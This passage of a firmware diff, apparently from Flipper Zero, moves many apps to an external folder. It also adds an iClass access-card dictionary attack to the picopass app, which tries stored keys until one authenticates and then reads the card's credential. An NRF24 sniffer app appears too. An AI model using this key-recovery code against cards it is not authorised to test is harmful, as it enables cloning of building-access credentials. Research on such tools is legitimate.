malloc(LOG_REC_SIZE * MAX_LOG_RECORDS); @@ -1363,7 +1365,7 @@ int32_t nrf24scan_app(void* p) { // Set system callbacks APP->view_port = view_port_alloc(); - view_port_draw_callback_set(APP->view_port, render_callback, APP->plugin_state); + view_port_draw_callback_set(APP->view_port, render_callback, plugin_state); view_port_input_callback_set(APP->view_port, input_callback, APP->event_queue); // Open GUI and register view_port @@ -1404,7 +1406,7 @@ int32_t nrf24scan_app(void* p) { PluginEvent event; for(bool processing = true; processing;) { FuriStatus event_status = furi_message_queue_get(APP->event_queue, &event, 100); - furi_mutex_acquire(APP->plugin_state->mutex, FuriWaitForever); + furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); if(event_status == FuriStatusOk) { // press events @@ -1631,7 +1633,7 @@ int32_t nrf24scan_app(void* p) { } view_port_update(APP->view_port); - furi_mutex_release(APP->plugin_state->mutex); + furi_mutex_release(plugin_state->mutex); } nrf24_set_idle(nrf24_HANDLE); if(log_arr_idx && (log_to_file == 1 || log_to_file == 2)) { @@ -1646,11 +1648,11 @@ int32_t nrf24scan_app(void* p) { furi_record_close(RECORD_NOTIFICATION); furi_record_close(RECORD_STORAGE); view_port_free(APP->view_port); - furi_mutex_free(APP->plugin_state->mutex); furi_message_queue_free(APP->event_queue); - free(APP->plugin_state); if(APP->log_arr) free(APP->log_arr); if(APP->found) free(APP->found); + furi_mutex_free(plugin_state->mutex); + free(plugin_state); free(APP); return 0; } diff --git a/applications/plugins/nrf24scan/nrf24scan.h b/applications/external/nrf24scan/nrf24scan.h similarity index 95% rename from applications/plugins/nrf24scan/nrf24scan.h rename to applications/external/nrf24scan/nrf24scan.h index cfc4806e7..86e34856d 100644 --- a/applications/plugins/nrf24scan/nrf24scan.h +++ b/applications/external/nrf24scan/nrf24scan.h @@ -31,7 +31,6 @@ struct FOUND { typedef struct { Gui* gui; FuriMessageQueue* event_queue; - PluginState* plugin_state; ViewPort* view_port; Storage* storage; NotificationApp* notification; diff --git a/applications/plugins/nrf24scan/nrf24scan_10px.png b/applications/external/nrf24scan/nrf24scan_10px.png similarity index 100% rename from applications/plugins/nrf24scan/nrf24scan_10px.png rename to applications/external/nrf24scan/nrf24scan_10px.png diff --git a/applications/plugins/nrfsniff/application.fam b/applications/external/nrfsniff/application.fam similarity index 92% rename from applications/plugins/nrfsniff/application.fam rename to applications/external/nrfsniff/application.fam index e55ab3e9c..0330ab11a 100644 --- a/applications/plugins/nrfsniff/application.fam +++ b/applications/external/nrfsniff/application.fam @@ -3,7 +3,6 @@ App( name="[NRF24] Sniffer", apptype=FlipperAppType.EXTERNAL, entry_point="nrfsniff_app", - cdefines=["APP_NRFSNIFF"], requires=["gui"], stack_size=2 * 1024, order=60, diff --git a/applications/plugins/nrfsniff/lib/nrf24/nrf24.c b/applications/external/nrfsniff/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/nrfsniff/lib/nrf24/nrf24.c rename to applications/external/nrfsniff/lib/nrf24/nrf24.c diff --git a/applications/plugins/nrfsniff/lib/nrf24/nrf24.h b/applications/external/nrfsniff/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/nrfsniff/lib/nrf24/nrf24.h rename to applications/external/nrfsniff/lib/nrf24/nrf24.h diff --git a/applications/plugins/nrfsniff/nrfsniff.c b/applications/external/nrfsniff/nrfsniff.c similarity index 99% rename from applications/plugins/nrfsniff/nrfsniff.c rename to applications/external/nrfsniff/nrfsniff.c index 56bc33d05..1c2ea543f 100644 --- a/applications/plugins/nrfsniff/nrfsniff.c +++ b/applications/external/nrfsniff/nrfsniff.c @@ -4,6 +4,7 @@ #include #include #include +#include #include #include @@ -314,6 +315,7 @@ static void start_sniffing() { int32_t nrfsniff_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); uint8_t address[5] = {0}; uint32_t start = 0; hexlify(address, 5, top_address); diff --git a/applications/plugins/nrfsniff/nrfsniff_10px.png b/applications/external/nrfsniff/nrfsniff_10px.png similarity index 100% rename from applications/plugins/nrfsniff/nrfsniff_10px.png rename to applications/external/nrfsniff/nrfsniff_10px.png diff --git a/applications/plugins/ocarina/application.fam b/applications/external/ocarina/application.fam similarity index 100% rename from applications/plugins/ocarina/application.fam rename to applications/external/ocarina/application.fam diff --git a/applications/plugins/ocarina/icons/music_10px.png b/applications/external/ocarina/icons/music_10px.png similarity index 100% rename from applications/plugins/ocarina/icons/music_10px.png rename to applications/external/ocarina/icons/music_10px.png diff --git a/applications/plugins/ocarina/ocarina.c b/applications/external/ocarina/ocarina.c similarity index 100% rename from applications/plugins/ocarina/ocarina.c rename to applications/external/ocarina/ocarina.c diff --git a/applications/plugins/orgasmotron/application.fam b/applications/external/orgasmotron/application.fam similarity index 100% rename from applications/plugins/orgasmotron/application.fam rename to applications/external/orgasmotron/application.fam diff --git a/applications/plugins/orgasmotron/orgasmotron.c b/applications/external/orgasmotron/orgasmotron.c similarity index 100% rename from applications/plugins/orgasmotron/orgasmotron.c rename to applications/external/orgasmotron/orgasmotron.c diff --git a/applications/plugins/orgasmotron/orgasmotron_10px.png b/applications/external/orgasmotron/orgasmotron_10px.png similarity index 100% rename from applications/plugins/orgasmotron/orgasmotron_10px.png rename to applications/external/orgasmotron/orgasmotron_10px.png diff --git a/applications/plugins/paint/application.fam b/applications/external/paint/application.fam similarity index 100% rename from applications/plugins/paint/application.fam rename to applications/external/paint/application.fam diff --git a/applications/plugins/paint/paint.c b/applications/external/paint/paint.c similarity index 100% rename from applications/plugins/paint/paint.c rename to applications/external/paint/paint.c diff --git a/applications/plugins/paint/paintIcon.png b/applications/external/paint/paintIcon.png similarity index 100% rename from applications/plugins/paint/paintIcon.png rename to applications/external/paint/paintIcon.png diff --git a/applications/plugins/passgen/LICENSE b/applications/external/passgen/LICENSE similarity index 100% rename from applications/plugins/passgen/LICENSE rename to applications/external/passgen/LICENSE diff --git a/applications/plugins/passgen/application.fam b/applications/external/passgen/application.fam similarity index 85% rename from applications/plugins/passgen/application.fam rename to applications/external/passgen/application.fam index b6c1ae8e0..6a9652dc1 100644 --- a/applications/plugins/passgen/application.fam +++ b/applications/external/passgen/application.fam @@ -1,7 +1,7 @@ App( appid="passgen", name="Password Generator", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="passgenapp", requires=[ "gui", diff --git a/applications/plugins/passgen/icons/Horizontal_arrow_9x7.png b/applications/external/passgen/icons/Horizontal_arrow_9x7.png similarity index 100% rename from applications/plugins/passgen/icons/Horizontal_arrow_9x7.png rename to applications/external/passgen/icons/Horizontal_arrow_9x7.png diff --git a/assets/icons/MainMenu/Debug_14/frame_01.png b/applications/external/passgen/icons/Ok_btn_9x9.png similarity index 74% rename from assets/icons/MainMenu/Debug_14/frame_01.png rename to applications/external/passgen/icons/Ok_btn_9x9.png index 59b61fea8..9a1539da2 100644 Binary files a/assets/icons/MainMenu/Debug_14/frame_01.png and b/applications/external/passgen/icons/Ok_btn_9x9.png differ diff --git a/applications/plugins/passgen/icons/Pin_back_arrow_10x8.png b/applications/external/passgen/icons/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/passgen/icons/Pin_back_arrow_10x8.png rename to applications/external/passgen/icons/Pin_back_arrow_10x8.png diff --git a/applications/plugins/passgen/icons/Vertical_arrow_7x9.png b/applications/external/passgen/icons/Vertical_arrow_7x9.png similarity index 100% rename from applications/plugins/passgen/icons/Vertical_arrow_7x9.png rename to applications/external/passgen/icons/Vertical_arrow_7x9.png diff --git a/applications/plugins/passgen/icons/passgen_icon.png b/applications/external/passgen/icons/passgen_icon.png similarity index 100% rename from applications/plugins/passgen/icons/passgen_icon.png rename to applications/external/passgen/icons/passgen_icon.png diff --git a/applications/plugins/passgen/images/preview.png b/applications/external/passgen/images/preview.png similarity index 100% rename from applications/plugins/passgen/images/preview.png rename to applications/external/passgen/images/preview.png diff --git a/applications/plugins/passgen/passgen.c b/applications/external/passgen/passgen.c similarity index 100% rename from applications/plugins/passgen/passgen.c rename to applications/external/passgen/passgen.c diff --git a/applications/plugins/picopass/125_10px.png b/applications/external/picopass/125_10px.png similarity index 100% rename from applications/plugins/picopass/125_10px.png rename to applications/external/picopass/125_10px.png diff --git a/applications/plugins/picopass/application.fam b/applications/external/picopass/application.fam similarity index 100% rename from applications/plugins/picopass/application.fam rename to applications/external/picopass/application.fam diff --git a/applications/plugins/picopass/helpers/iclass_elite_dict.c b/applications/external/picopass/helpers/iclass_elite_dict.c similarity index 87% rename from applications/plugins/picopass/helpers/iclass_elite_dict.c rename to applications/external/picopass/helpers/iclass_elite_dict.c index e8c13dd1d..f92dce0aa 100644 --- a/applications/plugins/picopass/helpers/iclass_elite_dict.c +++ b/applications/external/picopass/helpers/iclass_elite_dict.c @@ -5,6 +5,7 @@ #define ICLASS_ELITE_DICT_FLIPPER_NAME APP_DATA_PATH("assets/iclass_elite_dict.txt") #define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") +#define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_DATA_PATH("assets/iclass_standard_dict.txt") #define TAG "IclassEliteDict" @@ -25,6 +26,9 @@ bool iclass_elite_dict_check_presence(IclassEliteDictType dict_type) { (storage_common_stat(storage, ICLASS_ELITE_DICT_FLIPPER_NAME, NULL) == FSE_OK); } else if(dict_type == IclassEliteDictTypeUser) { dict_present = (storage_common_stat(storage, ICLASS_ELITE_DICT_USER_NAME, NULL) == FSE_OK); + } else if(dict_type == IclassStandardDictTypeFlipper) { + dict_present = + (storage_common_stat(storage, ICLASS_STANDARD_DICT_FLIPPER_NAME, NULL) == FSE_OK); } furi_record_close(RECORD_STORAGE); @@ -52,6 +56,15 @@ IclassEliteDict* iclass_elite_dict_alloc(IclassEliteDictType dict_type) { buffered_file_stream_close(dict->stream); break; } + } else if(dict_type == IclassStandardDictTypeFlipper) { + if(!buffered_file_stream_open( + dict->stream, + ICLASS_STANDARD_DICT_FLIPPER_NAME, + FSAM_READ, + FSOM_OPEN_EXISTING)) { + buffered_file_stream_close(dict->stream); + break; + } } // Read total amount of keys @@ -148,4 +161,4 @@ bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key) { furi_string_free(key_str); return key_added; -} \ No newline at end of file +} diff --git a/applications/plugins/picopass/helpers/iclass_elite_dict.h b/applications/external/picopass/helpers/iclass_elite_dict.h similarity index 95% rename from applications/plugins/picopass/helpers/iclass_elite_dict.h rename to applications/external/picopass/helpers/iclass_elite_dict.h index e5ec8dfcb..150cd1b76 100644 --- a/applications/plugins/picopass/helpers/iclass_elite_dict.h +++ b/applications/external/picopass/helpers/iclass_elite_dict.h @@ -9,6 +9,7 @@ typedef enum { IclassEliteDictTypeUser, IclassEliteDictTypeFlipper, + IclassStandardDictTypeFlipper, } IclassEliteDictType; typedef struct IclassEliteDict IclassEliteDict; @@ -25,4 +26,4 @@ bool iclass_elite_dict_get_next_key(IclassEliteDict* dict, uint8_t* key); bool iclass_elite_dict_rewind(IclassEliteDict* dict); -bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key); \ No newline at end of file +bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key); diff --git a/applications/plugins/picopass/icons/DolphinMafia_115x62.png b/applications/external/picopass/icons/DolphinMafia_115x62.png similarity index 100% rename from applications/plugins/picopass/icons/DolphinMafia_115x62.png rename to applications/external/picopass/icons/DolphinMafia_115x62.png diff --git a/applications/plugins/picopass/icons/DolphinNice_96x59.png b/applications/external/picopass/icons/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/picopass/icons/DolphinNice_96x59.png rename to applications/external/picopass/icons/DolphinNice_96x59.png diff --git a/applications/plugins/picopass/icons/Nfc_10px.png b/applications/external/picopass/icons/Nfc_10px.png similarity index 100% rename from applications/plugins/picopass/icons/Nfc_10px.png rename to applications/external/picopass/icons/Nfc_10px.png diff --git a/applications/plugins/picopass/icons/RFIDDolphinReceive_97x61.png b/applications/external/picopass/icons/RFIDDolphinReceive_97x61.png similarity index 100% rename from applications/plugins/picopass/icons/RFIDDolphinReceive_97x61.png rename to applications/external/picopass/icons/RFIDDolphinReceive_97x61.png diff --git a/applications/plugins/picopass/icons/RFIDDolphinSend_97x61.png b/applications/external/picopass/icons/RFIDDolphinSend_97x61.png similarity index 100% rename from applications/plugins/picopass/icons/RFIDDolphinSend_97x61.png rename to applications/external/picopass/icons/RFIDDolphinSend_97x61.png diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipher.c b/applications/external/picopass/lib/loclass/optimized_cipher.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipher.c rename to applications/external/picopass/lib/loclass/optimized_cipher.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipher.h b/applications/external/picopass/lib/loclass/optimized_cipher.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipher.h rename to applications/external/picopass/lib/loclass/optimized_cipher.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipherutils.c b/applications/external/picopass/lib/loclass/optimized_cipherutils.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipherutils.c rename to applications/external/picopass/lib/loclass/optimized_cipherutils.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipherutils.h b/applications/external/picopass/lib/loclass/optimized_cipherutils.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipherutils.h rename to applications/external/picopass/lib/loclass/optimized_cipherutils.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_elite.c b/applications/external/picopass/lib/loclass/optimized_elite.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_elite.c rename to applications/external/picopass/lib/loclass/optimized_elite.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_elite.h b/applications/external/picopass/lib/loclass/optimized_elite.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_elite.h rename to applications/external/picopass/lib/loclass/optimized_elite.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_ikeys.c b/applications/external/picopass/lib/loclass/optimized_ikeys.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_ikeys.c rename to applications/external/picopass/lib/loclass/optimized_ikeys.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_ikeys.h b/applications/external/picopass/lib/loclass/optimized_ikeys.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_ikeys.h rename to applications/external/picopass/lib/loclass/optimized_ikeys.h diff --git a/applications/plugins/picopass/picopass.c b/applications/external/picopass/picopass.c similarity index 93% rename from applications/plugins/picopass/picopass.c rename to applications/external/picopass/picopass.c index c1428b2fb..e3271ae48 100644 --- a/applications/plugins/picopass/picopass.c +++ b/applications/external/picopass/picopass.c @@ -1,4 +1,5 @@ #include "picopass_i.h" +#include #define TAG "PicoPass" @@ -73,6 +74,12 @@ Picopass* picopass_alloc() { view_dispatcher_add_view( picopass->view_dispatcher, PicopassViewWidget, widget_get_view(picopass->widget)); + picopass->dict_attack = dict_attack_alloc(); + view_dispatcher_add_view( + picopass->view_dispatcher, + PicopassViewDictAttack, + dict_attack_get_view(picopass->dict_attack)); + return picopass; } @@ -103,6 +110,9 @@ void picopass_free(Picopass* picopass) { view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewWidget); widget_free(picopass->widget); + view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewDictAttack); + dict_attack_free(picopass->dict_attack); + // Worker picopass_worker_stop(picopass->worker); picopass_worker_free(picopass->worker); @@ -191,6 +201,7 @@ int32_t picopass_app(void* p) { UNUSED(p); picopass_migrate_from_old_folder(); + DOLPHIN_DEED(DolphinDeedPluginStart); Picopass* picopass = picopass_alloc(); scene_manager_next_scene(picopass->scene_manager, PicopassSceneStart); @@ -200,4 +211,4 @@ int32_t picopass_app(void* p) { picopass_free(picopass); return 0; -} \ No newline at end of file +} diff --git a/applications/plugins/picopass/picopass.h b/applications/external/picopass/picopass.h similarity index 100% rename from applications/plugins/picopass/picopass.h rename to applications/external/picopass/picopass.h diff --git a/applications/plugins/picopass/picopass_device.c b/applications/external/picopass/picopass_device.c similarity index 100% rename from applications/plugins/picopass/picopass_device.c rename to applications/external/picopass/picopass_device.c diff --git a/applications/plugins/picopass/picopass_device.h b/applications/external/picopass/picopass_device.h similarity index 92% rename from applications/plugins/picopass/picopass_device.h rename to applications/external/picopass/picopass_device.h index d7d0977df..7fc35ebda 100644 --- a/applications/plugins/picopass/picopass_device.h +++ b/applications/external/picopass/picopass_device.h @@ -27,8 +27,16 @@ #define PICOPASS_APP_EXTENSION ".picopass" #define PICOPASS_APP_SHADOW_EXTENSION ".pas" +#define PICOPASS_DICT_KEY_BATCH_SIZE 10 + typedef void (*PicopassLoadingCallback)(void* context, bool state); +typedef struct { + IclassEliteDict* dict; + IclassEliteDictType type; + uint8_t current_sector; +} IclassEliteDictAttackData; + typedef enum { PicopassDeviceEncryptionUnknown = 0, PicopassDeviceEncryptionNone = 0x14, @@ -69,6 +77,7 @@ typedef struct { typedef struct { PicopassBlock AA1[PICOPASS_MAX_APP_LIMIT]; PicopassPacs pacs; + IclassEliteDictAttackData iclass_elite_dict_attack_data; } PicopassDeviceData; typedef struct { diff --git a/applications/plugins/picopass/picopass_i.h b/applications/external/picopass/picopass_i.h similarity index 94% rename from applications/plugins/picopass/picopass_i.h rename to applications/external/picopass/picopass_i.h index 79c2a1af8..23da3056e 100644 --- a/applications/plugins/picopass/picopass_i.h +++ b/applications/external/picopass/picopass_i.h @@ -21,6 +21,7 @@ #include #include "scenes/picopass_scene.h" +#include "views/dict_attack.h" #include #include @@ -36,6 +37,7 @@ enum PicopassCustomEvent { PicopassCustomEventWorkerExit, PicopassCustomEventByteInputDone, PicopassCustomEventTextInputDone, + PicopassCustomEventDictAttackSkip, }; typedef enum { @@ -60,6 +62,7 @@ struct Picopass { Loading* loading; TextInput* text_input; Widget* widget; + DictAttack* dict_attack; }; typedef enum { @@ -68,6 +71,7 @@ typedef enum { PicopassViewLoading, PicopassViewTextInput, PicopassViewWidget, + PicopassViewDictAttack, } PicopassView; Picopass* picopass_alloc(); diff --git a/applications/plugins/picopass/picopass_keys.c b/applications/external/picopass/picopass_keys.c similarity index 100% rename from applications/plugins/picopass/picopass_keys.c rename to applications/external/picopass/picopass_keys.c diff --git a/applications/plugins/picopass/picopass_keys.h b/applications/external/picopass/picopass_keys.h similarity index 100% rename from applications/plugins/picopass/picopass_keys.h rename to applications/external/picopass/picopass_keys.h diff --git a/applications/plugins/picopass/picopass_worker.c b/applications/external/picopass/picopass_worker.c similarity index 73% rename from applications/plugins/picopass/picopass_worker.c rename to applications/external/picopass/picopass_worker.c index d141bdf6b..06d361fb5 100644 --- a/applications/plugins/picopass/picopass_worker.c +++ b/applications/external/picopass/picopass_worker.c @@ -23,7 +23,7 @@ PicopassWorker* picopass_worker_alloc() { // Worker thread attributes picopass_worker->thread = - furi_thread_alloc_ex("PicopassWorker", 8192, picopass_worker_task, picopass_worker); + furi_thread_alloc_ex("PicopassWorker", 8 * 1024, picopass_worker_task, picopass_worker); picopass_worker->callback = NULL; picopass_worker->context = NULL; @@ -66,14 +66,12 @@ void picopass_worker_start( void picopass_worker_stop(PicopassWorker* picopass_worker) { furi_assert(picopass_worker); - if(picopass_worker->state == PicopassWorkerStateBroken || - picopass_worker->state == PicopassWorkerStateReady) { - return; - } - picopass_worker_disable_field(ERR_NONE); + furi_assert(picopass_worker->thread); - picopass_worker_change_state(picopass_worker, PicopassWorkerStateStop); - furi_thread_join(picopass_worker->thread); + if(furi_thread_get_state(picopass_worker->thread) != FuriThreadStateStopped) { + picopass_worker_change_state(picopass_worker, PicopassWorkerStateStop); + furi_thread_join(picopass_worker->thread); + } } void picopass_worker_change_state(PicopassWorker* picopass_worker, PicopassWorkerState state) { @@ -172,14 +170,18 @@ ReturnCode picopass_read_preauth(PicopassBlock* AA1) { return ERR_NONE; } -static ReturnCode picopass_auth_dict( - uint8_t* csn, - PicopassPacs* pacs, - uint8_t* div_key, - IclassEliteDictType dict_type, - bool elite) { +static ReturnCode + picopass_auth_dict(PicopassWorker* picopass_worker, IclassEliteDictType dict_type) { rfalPicoPassReadCheckRes rcRes; rfalPicoPassCheckRes chkRes; + bool elite = (dict_type != IclassStandardDictTypeFlipper); + + PicopassDeviceData* dev_data = picopass_worker->dev_data; + PicopassBlock* AA1 = dev_data->AA1; + PicopassPacs* pacs = &dev_data->pacs; + + uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; + uint8_t* div_key = AA1[PICOPASS_KD_BLOCK_INDEX].data; ReturnCode err = ERR_PARAM; @@ -204,7 +206,8 @@ static ReturnCode picopass_auth_dict( while(iclass_elite_dict_get_next_key(dict, key)) { FURI_LOG_D( TAG, - "Try to auth with key %zu %02x%02x%02x%02x%02x%02x%02x%02x", + "Try to %s auth with key %zu %02x%02x%02x%02x%02x%02x%02x%02x", + elite ? "elite" : "standard", index++, key[0], key[1], @@ -230,6 +233,8 @@ static ReturnCode picopass_auth_dict( memcpy(pacs->key, key, PICOPASS_BLOCK_LEN); break; } + + if(picopass_worker->state != PicopassWorkerStateDetect) break; } iclass_elite_dict_free(dict); @@ -237,38 +242,23 @@ static ReturnCode picopass_auth_dict( return err; } -ReturnCode picopass_auth(PicopassBlock* AA1, PicopassPacs* pacs) { +ReturnCode picopass_auth(PicopassWorker* picopass_worker) { ReturnCode err; FURI_LOG_I(TAG, "Starting system dictionary attack [Standard KDF]"); - err = picopass_auth_dict( - AA1[PICOPASS_CSN_BLOCK_INDEX].data, - pacs, - AA1[PICOPASS_KD_BLOCK_INDEX].data, - IclassEliteDictTypeFlipper, - false); + err = picopass_auth_dict(picopass_worker, IclassStandardDictTypeFlipper); if(err == ERR_NONE) { return ERR_NONE; } FURI_LOG_I(TAG, "Starting user dictionary attack [Elite KDF]"); - err = picopass_auth_dict( - AA1[PICOPASS_CSN_BLOCK_INDEX].data, - pacs, - AA1[PICOPASS_KD_BLOCK_INDEX].data, - IclassEliteDictTypeUser, - true); + err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeUser); if(err == ERR_NONE) { return ERR_NONE; } FURI_LOG_I(TAG, "Starting system dictionary attack [Elite KDF]"); - err = picopass_auth_dict( - AA1[PICOPASS_CSN_BLOCK_INDEX].data, - pacs, - AA1[PICOPASS_KD_BLOCK_INDEX].data, - IclassEliteDictTypeFlipper, - true); + err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeFlipper); if(err == ERR_NONE) { return ERR_NONE; } @@ -468,6 +458,132 @@ ReturnCode picopass_write_block(PicopassBlock* AA1, uint8_t blockNo, uint8_t* ne return ERR_NONE; } +void picopass_worker_elite_dict_attack(PicopassWorker* picopass_worker) { + furi_assert(picopass_worker); + furi_assert(picopass_worker->callback); + + picopass_device_data_clear(picopass_worker->dev_data); + PicopassDeviceData* dev_data = picopass_worker->dev_data; + PicopassBlock* AA1 = dev_data->AA1; + PicopassPacs* pacs = &dev_data->pacs; + + for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { + memset(AA1[i].data, 0, sizeof(AA1[i].data)); + } + memset(pacs, 0, sizeof(PicopassPacs)); + + IclassEliteDictAttackData* dict_attack_data = + &picopass_worker->dev_data->iclass_elite_dict_attack_data; + bool elite = (dict_attack_data->type != IclassStandardDictTypeFlipper); + + rfalPicoPassReadCheckRes rcRes; + rfalPicoPassCheckRes chkRes; + + ReturnCode err; + uint8_t mac[4] = {0}; + uint8_t ccnr[12] = {0}; + + size_t index = 0; + uint8_t key[PICOPASS_BLOCK_LEN] = {0}; + + // Load dictionary + IclassEliteDict* dict = dict_attack_data->dict; + if(!dict) { + FURI_LOG_E(TAG, "Dictionary not found"); + picopass_worker->callback(PicopassWorkerEventNoDictFound, picopass_worker->context); + return; + } + + do { + if(picopass_detect_card(1000) == ERR_NONE) { + picopass_worker->callback(PicopassWorkerEventCardDetected, picopass_worker->context); + + // Process first found device + err = picopass_read_preauth(AA1); + if(err != ERR_NONE) { + FURI_LOG_E(TAG, "picopass_read_preauth error %d", err); + picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); + return; + } + + // Thank you proxmark! + pacs->legacy = picopass_is_memset(AA1[5].data, 0xFF, 8); + pacs->se_enabled = (memcmp(AA1[5].data, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); + if(pacs->se_enabled) { + FURI_LOG_D(TAG, "SE enabled"); + picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); + return; + } + + break; + } else { + picopass_worker->callback(PicopassWorkerEventNoCardDetected, picopass_worker->context); + } + if(picopass_worker->state != PicopassWorkerStateEliteDictAttack) break; + + furi_delay_ms(100); + } while(true); + + FURI_LOG_D( + TAG, "Start Dictionary attack, Key Count %lu", iclass_elite_dict_get_total_keys(dict)); + while(iclass_elite_dict_get_next_key(dict, key)) { + FURI_LOG_T(TAG, "Key %zu", index); + if(++index % PICOPASS_DICT_KEY_BATCH_SIZE == 0) { + picopass_worker->callback( + PicopassWorkerEventNewDictKeyBatch, picopass_worker->context); + } + + err = rfalPicoPassPollerReadCheck(&rcRes); + if(err != ERR_NONE) { + FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); + break; + } + memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 + + uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; + uint8_t* div_key = AA1[PICOPASS_KD_BLOCK_INDEX].data; + + loclass_iclass_calc_div_key(csn, key, div_key, elite); + loclass_opt_doReaderMAC(ccnr, div_key, mac); + + err = rfalPicoPassPollerCheck(mac, &chkRes); + if(err == ERR_NONE) { + FURI_LOG_I(TAG, "Found key"); + memcpy(pacs->key, key, PICOPASS_BLOCK_LEN); + err = picopass_read_card(AA1); + if(err != ERR_NONE) { + FURI_LOG_E(TAG, "picopass_read_card error %d", err); + picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); + break; + } + + err = picopass_device_parse_credential(AA1, pacs); + if(err != ERR_NONE) { + FURI_LOG_E(TAG, "picopass_device_parse_credential error %d", err); + picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); + break; + } + + err = picopass_device_parse_wiegand(pacs->credential, &pacs->record); + if(err != ERR_NONE) { + FURI_LOG_E(TAG, "picopass_device_parse_wiegand error %d", err); + picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); + break; + } + picopass_worker->callback(PicopassWorkerEventSuccess, picopass_worker->context); + break; + } + + if(picopass_worker->state != PicopassWorkerStateEliteDictAttack) break; + } + FURI_LOG_D(TAG, "Dictionary complete"); + if(picopass_worker->state == PicopassWorkerStateEliteDictAttack) { + picopass_worker->callback(PicopassWorkerEventSuccess, picopass_worker->context); + } else { + picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); + } +} + int32_t picopass_worker_task(void* context) { PicopassWorker* picopass_worker = context; @@ -478,9 +594,12 @@ int32_t picopass_worker_task(void* context) { picopass_worker_write(picopass_worker); } else if(picopass_worker->state == PicopassWorkerStateWriteKey) { picopass_worker_write_key(picopass_worker); + } else if(picopass_worker->state == PicopassWorkerStateEliteDictAttack) { + picopass_worker_elite_dict_attack(picopass_worker); + } else { + FURI_LOG_W(TAG, "Unknown state %d", picopass_worker->state); } picopass_worker_disable_field(ERR_NONE); - picopass_worker_change_state(picopass_worker, PicopassWorkerStateReady); return 0; @@ -520,7 +639,7 @@ void picopass_worker_detect(PicopassWorker* picopass_worker) { } if(nextState == PicopassWorkerEventSuccess) { - err = picopass_auth(AA1, pacs); + err = picopass_auth(picopass_worker); if(err != ERR_NONE) { FURI_LOG_E(TAG, "picopass_try_auth error %d", err); nextState = PicopassWorkerEventFail; diff --git a/applications/plugins/picopass/picopass_worker.h b/applications/external/picopass/picopass_worker.h similarity index 87% rename from applications/plugins/picopass/picopass_worker.h rename to applications/external/picopass/picopass_worker.h index f5e9f3039..e9d37481b 100644 --- a/applications/plugins/picopass/picopass_worker.h +++ b/applications/external/picopass/picopass_worker.h @@ -14,6 +14,7 @@ typedef enum { PicopassWorkerStateDetect, PicopassWorkerStateWrite, PicopassWorkerStateWriteKey, + PicopassWorkerStateEliteDictAttack, // Transition PicopassWorkerStateStop, } PicopassWorkerState; @@ -27,8 +28,10 @@ typedef enum { PicopassWorkerEventFail, PicopassWorkerEventNoCardDetected, PicopassWorkerEventSeEnabled, - - PicopassWorkerEventStartReading, + PicopassWorkerEventAborted, + PicopassWorkerEventCardDetected, + PicopassWorkerEventNewDictKeyBatch, + PicopassWorkerEventNoDictFound, } PicopassWorkerEvent; typedef void (*PicopassWorkerCallback)(PicopassWorkerEvent event, void* context); diff --git a/applications/plugins/picopass/picopass_worker_i.h b/applications/external/picopass/picopass_worker_i.h similarity index 100% rename from applications/plugins/picopass/picopass_worker_i.h rename to applications/external/picopass/picopass_worker_i.h diff --git a/applications/plugins/picopass/rfal_picopass.c b/applications/external/picopass/rfal_picopass.c similarity index 100% rename from applications/plugins/picopass/rfal_picopass.c rename to applications/external/picopass/rfal_picopass.c diff --git a/applications/plugins/picopass/rfal_picopass.h b/applications/external/picopass/rfal_picopass.h similarity index 100% rename from applications/plugins/picopass/rfal_picopass.h rename to applications/external/picopass/rfal_picopass.h diff --git a/applications/plugins/picopass/scenes/picopass_scene.c b/applications/external/picopass/scenes/picopass_scene.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene.c rename to applications/external/picopass/scenes/picopass_scene.c diff --git a/applications/plugins/picopass/scenes/picopass_scene.h b/applications/external/picopass/scenes/picopass_scene.h similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene.h rename to applications/external/picopass/scenes/picopass_scene.h diff --git 